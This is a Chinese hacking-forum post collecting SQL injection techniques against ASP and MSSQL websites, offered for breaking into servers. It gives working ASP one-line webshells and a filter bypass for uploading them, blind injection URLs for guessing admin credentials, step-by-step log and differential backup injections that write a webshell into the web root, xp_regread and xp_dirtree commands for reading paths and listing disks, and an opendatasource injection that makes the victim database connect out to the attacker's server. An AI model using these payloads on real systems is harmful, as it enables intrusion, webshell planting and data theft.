中国网络渗透测试联盟

标题: SQL 注入经典操作整理与收集 [打印本页]

作者: admin    时间: 2013-2-27 21:49
标题: SQL 注入经典操作整理与收集

8 x1 \, P) D# B0 V* p6 F8 ~0 U突破〈%%〉标记过滤
  L+ k& B; s5 ~$ j4 H很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。
. f7 Y0 u* i  p这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。+ ~7 V. _( s$ I. n: {$ n
原来的程序代码是“〈%execute request("l")%>", 我们可以把它的标签换下来,改成"<scriptlanguage=VBScript runat=server>execute request("l")</Script>".这样就避开了使用〈%%〉,保存为.ASP,程序照样执行。效果是一样的
, s3 c9 a; H5 l5 K3 v新or注入方法
( d: e1 s1 U. B) M- C0 L
) z" {! m; F4 W( S+ q/ Kvpro.asp?id=1 or exists(select * from n0h4ck)
& w' ^1 I1 E7 e* x5 T% y/ F0 B9 M说明不存在n0h4ck这个表。
3 _, W2 |9 S/ M5 B3 H9 U2 l# U: @vpro.asp?id=1 or exists(select admin from admin)1 T6 f2 z5 X7 ~4 b. i& h1 G3 j
返回or 1=1的页面,说明admin表存在admin字段。
; g' a  S- ^# J* H* I5 s0 E8 `4 Wvpro.asp?id=1 or exists(select padd from admin)* ^3 n- p( a  y* L! |
返回or 1=2的页面,说明admin表不存在padd字段。
* ~& o+ h# J. A3 ]" E3 ~我们现在开始猜测数据了,
. C1 `2 {8 e2 C" n! V* B+ WCopy code
) Z8 D& q' ~2 g; a; K/ h( g! {vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'( c7 W* K+ F+ b  y  d
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。# b" K8 f9 a- ]2 \1 q
opy code& D& D3 j$ H+ x. ~! M
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'6 u+ ?9 R+ e9 c# p
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。8 v& X( Y/ m; Q* C4 {" I
我们用left函数确定一下,' A; K# s, u( ?# `1 p2 F
Copy code6 C( w2 X. n' D% D% h0 v) _7 V% v% i* W& b
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
1 l4 S$ V& i4 r7 f/ a! E猜测正确,的确是admin,好了,后面的话就不用我说了吧!+ i9 Y# @) q* x# B3 W: ]( F4 W. q/ P5 ?9 s
一句话差异备份的牛X利用分析3 Q: b5 O2 p& n

" O* _+ _( ]8 g/ D<%eval(request("a")):response.end%> 备分专用一句话) k9 D) ^1 X. C( H2 i- N: D+ H
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
" s5 Y0 ^) X  ?" |% r) B. e/ T* _, N7 d# \4 O9 ?
日志备分WEBSHELL标准的七步:
  S% r$ n, k  ~
& U( `# c0 s$ n0 n+ A# ~1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)6 B6 t7 f+ H9 Z0 ~$ f

  X8 X3 O) I  f8 S5 k2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
* K" G0 G9 k! i0 p9 ~5 c% A! J" }& n
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)
4 W+ d: t+ i+ e' U3 }8 i
+ Y8 X; y; u; J3 ]9 W% c1 g# I4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
" R3 ?+ G, X/ `( W3 Z9 P1 e
. B% }4 {' U# R7 G' p) r; a5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)% N. C- T8 W8 k& h" C$ ^) ?, h2 X3 _
3 {+ D  _+ f& ^5 E* W, `
6.InjectionURL';drop table cmd-- (删除新建的cmd表). Y* S6 ^# ?+ ]/ P& B% U& Y- R2 g' P
6 T5 y7 h9 C$ d' j: O. A+ Q
7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
7 q* m( c3 [8 r4 g0 ?. A% F3 J/ M6 W) \7 B! ?, i# ~/ Y5 a. }
注:InjectionURL是注入点,XXX是数据库名称.
/ v4 Y3 ]9 Q9 p6 S) h) E
+ U# ?+ ~. N6 e2 n附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.4 {) f% B! W8 P% Y/ }9 d% a
$ ^, \: [6 r3 A7 b/ {
数据库差异备份代码:& s- w0 r' W0 y2 n0 w9 ]
  j3 b% X7 x$ F" ^' ~% o
1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
, X* H5 T7 V& K$ A- L! u- `
( a: |" J5 u! z8 Y2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)7 f- K2 p1 d' Z- @' {. b, W
5 j  N1 c  H$ h! n  F# [5 b
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中
# J4 d, w6 o9 V" k1 i* d% l% U8 ]! W  i/ p3 s" v2 V
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。$ u2 k  n: G. Q8 y8 c0 @! K
) X1 ^+ X7 A* o. B+ _" p
5、drop table [jm_tmp]-- 删除此表。
) p# U* Q5 f5 t- Y
8 }( a: f3 }/ o7 k4 F网站物理路径读取代码:/ D2 ~: w9 G" P' h
  X& w1 @7 x  Z
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
" i9 o* ^5 O$ {' M9 q6 e, p, J, Y( J( ~8 I' a; R2 [! f
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
" S* t$ J* b) g5 P
. {, E. }7 |% S3 M2 L6 l3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
0 Z0 j! q( V6 Z1 r0 R# h+ z* W% F, a& w- N2 K( g7 S1 a9 i
4、drop table [jm_tmp]-- 删除此表。2 u1 O/ T  \9 P0 E4 ~1 h9 |. J

0 ^) W7 I8 Z3 U' l, J磁盘目录读取代码:
8 o1 e% N6 z: ~0 A1 ?/ f9 K& o" M1 v9 d- Z5 h8 O2 o% U
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表+ {- `4 B" _2 H; Q

1 h* ?$ s. o# K. [7 k( v$ p8 I2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中) g6 h9 I9 g- c* r' A3 E6 S, L8 ~

+ |9 h7 `0 m3 G3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称, W9 ]. C4 @# J- T1 i2 m

4 Y' r  N5 K* u! }3 v) Y7 g4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称
8 r1 K: m# p( r/ ]5 A9 a* D0 F/ F  p' w
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称
4 U) z3 D( @0 [% j) q0 P& v7 [
- b7 o/ U- j9 |, ^+ ^6、drop table [jm_tmp]--删除此表/ q/ F& u; R5 I( h
; F( O# Z6 t# T$ r  [( H' v% n' D
网站物理路径读取代码:  k" x6 _* `! u) y! h
( y9 P4 |5 F# a4 _
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表; F  n" M' M3 H7 g

! i& i  L+ C1 {/ {3 a2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
8 z$ N: n; [- P+ {7 u2 \# `5 w  `# T0 D& m/ I
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段! Q! @# J/ D- a" k& _, M! y

. A# ], o, |. p# i& j& g& P4、drop table [jm_tmp]-- 删除此表。) ~- {& F% M, o
- `; [+ L- x  Z; Z; d0 @
注射过程中DB_ONER权限并且主机与数据库不在一起的搞法
: N2 F- v' g  y- ], y/ U  E2 E# ]- O* j5 P
其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!
' K: ?0 Q! ?9 c0 b7 C; M$ ]* O, p* u; O( ?2 }- m1 E3 p4 U5 f
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
3 J  e& t* b( P* @6 ]0 z9 Acreate database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.
7 U. W5 w* Z1 S
2 G# |2 s" b  i1 ^# j1 Y建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
6 {1 E" n' D7 x' w: E7 n5 i, @- ~8 w* H+ T; c
http://www.xxx.com/news.as... ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--, t7 I* F3 f2 f  I+ `, {

6 z& J. w/ w* l7 S在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下
* [  S  k; |% |+ j8 J  ~3 t
* n; A6 ^, ?: W6 j$ p在CMD下输入命令:3 f  w9 v7 r+ w( g
netstat -an | find "1433"




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2